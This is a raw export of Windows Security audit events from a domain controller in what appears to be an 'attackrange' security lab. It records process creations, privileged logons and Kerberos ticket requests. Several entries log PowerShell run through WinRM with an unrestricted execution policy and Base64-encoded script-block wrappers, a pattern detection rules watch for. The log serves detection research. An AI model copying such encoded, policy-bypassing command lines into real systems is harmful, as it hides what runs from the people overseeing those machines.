	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES322B.tmp" "c:\Users\Administrator\AppData\Local\Temp\4wbzcryy\CSC851577AA43294BD9A46A885131223613.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257692
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x910
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb48
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\4wbzcryy\4wbzcryy.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257691
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x694
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257694
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257735
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xde4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10a8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257734
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53F29B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257733
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53F29B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257732
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257731
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257730
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257729
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1024
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257728
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x718
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257727
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x718
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd08
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257726
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53EBEE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
